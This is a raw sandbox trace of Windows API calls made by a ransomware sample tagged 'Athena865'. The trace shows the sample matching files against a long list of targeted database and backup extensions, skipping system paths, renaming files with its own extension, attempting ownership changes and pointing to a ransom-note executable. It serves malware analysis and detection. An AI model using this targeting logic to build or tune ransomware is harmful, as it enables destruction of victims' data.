lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.357] lstrlenW (lpString="mdt") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.357] lstrlenW (lpString="mfd") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.357] lstrlenW (lpString="mpd") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.357] lstrlenW (lpString="mrg") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.357] lstrlenW (lpString="mud") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.357] lstrlenW (lpString="mwb") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.357] lstrlenW (lpString="myd") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.357] lstrlenW (lpString="ndf") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.357] lstrlenW (lpString="nnt") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.357] lstrlenW (lpString="nrmlib") returned 6 [0035.357] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.358] lstrlenW (lpString="ns2") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.358] lstrlenW (lpString="ns3") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.358] lstrlenW (lpString="ns4") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.358] lstrlenW (lpString="nsf") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.358] lstrlenW (lpString="nv") returned 2 [0035.358] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.358] lstrlenW (lpString="nv2") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.358] lstrlenW (lpString="nwdb") returned 4 [0035.358] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.358] lstrlenW (lpString="nyf") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.358] lstrlenW (lpString="odb") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.358] lstrlenW (lpString="odb") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.358] lstrlenW (lpString="oqy") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.358] lstrlenW (lpString="ora") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.358] lstrlenW (lpString="orx") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.358] lstrlenW (lpString="owc") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.358] lstrlenW (lpString="p96") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.358] lstrlenW (lpString="p97") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.358] lstrlenW (lpString="pan") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.358] lstrlenW (lpString="pdb") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.358] lstrlenW (lpString="pdm") returned 3 [0035.358] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.359] lstrlenW (lpString="pnz") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.359] lstrlenW (lpString="qry") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.359] lstrlenW (lpString="qvd") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.359] lstrlenW (lpString="rbf") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.359] lstrlenW (lpString="rctd") returned 4 [0035.359] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.359] lstrlenW (lpString="rod") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.359] lstrlenW (lpString="rodx") returned 4 [0035.359] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.359] lstrlenW (lpString="rpd") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.359] lstrlenW (lpString="rsd") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.359] lstrlenW (lpString="sas7bdat") returned 8 [0035.359] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.359] lstrlenW (lpString="sbf") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.359] lstrlenW (lpString="scx") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.359] lstrlenW (lpString="sdb") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.359] lstrlenW (lpString="sdc") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.359] lstrlenW (lpString="sdf") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.359] lstrlenW (lpString="sis") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.359] lstrlenW (lpString="spq") returned 3 [0035.359] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.359] lstrlenW (lpString="te") returned 2 [0035.359] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.359] lstrlenW (lpString="teacher") returned 7 [0035.359] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.360] lstrlenW (lpString="tmd") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.360] lstrlenW (lpString="tps") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.360] lstrlenW (lpString="trc") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.360] lstrlenW (lpString="trc") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.360] lstrlenW (lpString="trm") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.360] lstrlenW (lpString="udb") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.360] lstrlenW (lpString="udl") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.360] lstrlenW (lpString="usr") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.360] lstrlenW (lpString="v12") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.360] lstrlenW (lpString="vis") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.360] lstrlenW (lpString="vpd") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.360] lstrlenW (lpString="vvv") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.360] lstrlenW (lpString="wdb") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.360] lstrlenW (lpString="wmdb") returned 4 [0035.360] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.360] lstrlenW (lpString="wrk") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.360] lstrlenW (lpString="xdb") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.360] lstrlenW (lpString="xld") returned 3 [0035.360] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.360] lstrlenW (lpString="xmlff") returned 5 [0035.360] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.360] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.360] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.361] GetLastError () returned 0x5 [0035.361] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.361] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.361] SetEntriesInAclW () returned 0x0 [0035.361] SetNamedSecurityInfoW () returned 0x5 [0035.361] SetNamedSecurityInfoW () returned 0x5 [0035.361] LocalFree (hMem=0x529490) returned 0x0 [0035.361] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.361] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.361] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb12 [0035.361] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.361] CloseHandle (hObject=0x154) returned 1 [0035.362] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.362] CloseHandle (hObject=0x0) returned 0 [0035.362] CloseHandle (hObject=0x0) returned 0 [0035.362] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x18020320, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x18020320, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x28c0d100, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xd8a4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{96E5E~1")) returned 1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.362] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.362] lstrlenW (lpString="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.362] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.362] lstrlenW (lpString="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.362] lstrlenW (lpString="Athena865") returned 9 [0035.363] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.363] lstrlenW (lpString=".dll") returned 4 [0035.363] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.363] lstrlenW (lpString=".lnk") returned 4 [0035.363] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.363] lstrlenW (lpString=".ini") returned 4 [0035.363] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.363] lstrlenW (lpString=".sys") returned 4 [0035.363] lstrcmpiW (lpString1="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.363] lstrlenW (lpString="{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.363] lstrlenW (lpString="bak") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.363] lstrlenW (lpString="ba_") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.363] lstrlenW (lpString="dbb") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.363] lstrlenW (lpString="vmdk") returned 4 [0035.363] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.363] lstrlenW (lpString="rar") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.363] lstrlenW (lpString="zip") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.363] lstrlenW (lpString="tgz") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.363] lstrlenW (lpString="vbox") returned 4 [0035.363] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.363] lstrlenW (lpString="vdi") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.363] lstrlenW (lpString="vhd") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.363] lstrlenW (lpString="vhdx") returned 4 [0035.363] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.363] lstrlenW (lpString="avhd") returned 4 [0035.363] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.363] lstrlenW (lpString="db") returned 2 [0035.363] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.363] lstrlenW (lpString="db2") returned 3 [0035.363] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.364] lstrlenW (lpString="db3") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.364] lstrlenW (lpString="dbf") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.364] lstrlenW (lpString="mdf") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.364] lstrlenW (lpString="mdb") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.364] lstrlenW (lpString="sql") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.364] lstrlenW (lpString="sqlite") returned 6 [0035.364] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.364] lstrlenW (lpString="sqlite3") returned 7 [0035.364] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.364] lstrlenW (lpString="sqlitedb") returned 8 [0035.364] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.364] lstrlenW (lpString="xml") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.364] lstrlenW (lpString="$er") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.364] lstrlenW (lpString="4dd") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.364] lstrlenW (lpString="4dl") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.364] lstrlenW (lpString="^^^") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.364] lstrlenW (lpString="abs") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.364] lstrlenW (lpString="abx") returned 3 [0035.364] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.364] lstrlenW (lpString="accdb") returned 5 [0035.364] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.364] lstrlenW (lpString="accdc") returned 5 [0035.364] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.364] lstrlenW (lpString="accde") returned 5 [0035.364] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.364] lstrlenW (lpString="accdr") returned 5 [0035.364] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.364] lstrlenW (lpString="accdt") returned 5 [0035.364] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.364] lstrlenW (lpString="accdw") returned 5 [0035.365] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.365] lstrlenW (lpString="accft") returned 5 [0035.365] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.365] lstrlenW (lpString="adb") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.365] lstrlenW (lpString="adb") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.365] lstrlenW (lpString="ade") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.365] lstrlenW (lpString="adf") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.365] lstrlenW (lpString="adn") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.365] lstrlenW (lpString="adp") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.365] lstrlenW (lpString="alf") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.365] lstrlenW (lpString="ask") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.365] lstrlenW (lpString="btr") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.365] lstrlenW (lpString="cat") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.365] lstrlenW (lpString="cdb") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.365] lstrlenW (lpString="ckp") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.365] lstrlenW (lpString="cma") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.365] lstrlenW (lpString="cpd") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.365] lstrlenW (lpString="dacpac") returned 6 [0035.365] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.365] lstrlenW (lpString="dad") returned 3 [0035.365] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.365] lstrlenW (lpString="dadiagrams") returned 10 [0035.365] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.365] lstrlenW (lpString="daschema") returned 8 [0035.365] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.365] lstrlenW (lpString="db-journal") returned 10 [0035.365] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.365] lstrlenW (lpString="db-shm") returned 6 [0035.366] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.366] lstrlenW (lpString="db-wal") returned 6 [0035.366] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.366] lstrlenW (lpString="dbc") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.366] lstrlenW (lpString="dbs") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.366] lstrlenW (lpString="dbt") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.366] lstrlenW (lpString="dbv") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.366] lstrlenW (lpString="dbx") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.366] lstrlenW (lpString="dcb") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.366] lstrlenW (lpString="dct") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.366] lstrlenW (lpString="dcx") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.366] lstrlenW (lpString="ddl") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.366] lstrlenW (lpString="dlis") returned 4 [0035.366] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.366] lstrlenW (lpString="dp1") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.366] lstrlenW (lpString="dqy") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.366] lstrlenW (lpString="dsk") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.366] lstrlenW (lpString="dsn") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.366] lstrlenW (lpString="dtsx") returned 4 [0035.366] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.366] lstrlenW (lpString="dxl") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.366] lstrlenW (lpString="eco") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.366] lstrlenW (lpString="ecx") returned 3 [0035.366] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.366] lstrlenW (lpString="edb") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.367] lstrlenW (lpString="epim") returned 4 [0035.367] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.367] lstrlenW (lpString="fcd") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.367] lstrlenW (lpString="fdb") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.367] lstrlenW (lpString="fic") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.367] lstrlenW (lpString="flexolibrary") returned 12 [0035.367] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.367] lstrlenW (lpString="fm5") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.367] lstrlenW (lpString="fmp") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.367] lstrlenW (lpString="fmp12") returned 5 [0035.367] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.367] lstrlenW (lpString="fmpsl") returned 5 [0035.367] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.367] lstrlenW (lpString="fol") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.367] lstrlenW (lpString="fp3") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.367] lstrlenW (lpString="fp4") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.367] lstrlenW (lpString="fp5") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.367] lstrlenW (lpString="fp7") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.367] lstrlenW (lpString="fpt") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.367] lstrlenW (lpString="frm") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.367] lstrlenW (lpString="gdb") returned 3 [0035.367] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.368] lstrlenW (lpString="gdb") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.368] lstrlenW (lpString="grdb") returned 4 [0035.368] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.368] lstrlenW (lpString="gwi") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.368] lstrlenW (lpString="hdb") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.368] lstrlenW (lpString="his") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.368] lstrlenW (lpString="ib") returned 2 [0035.368] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.368] 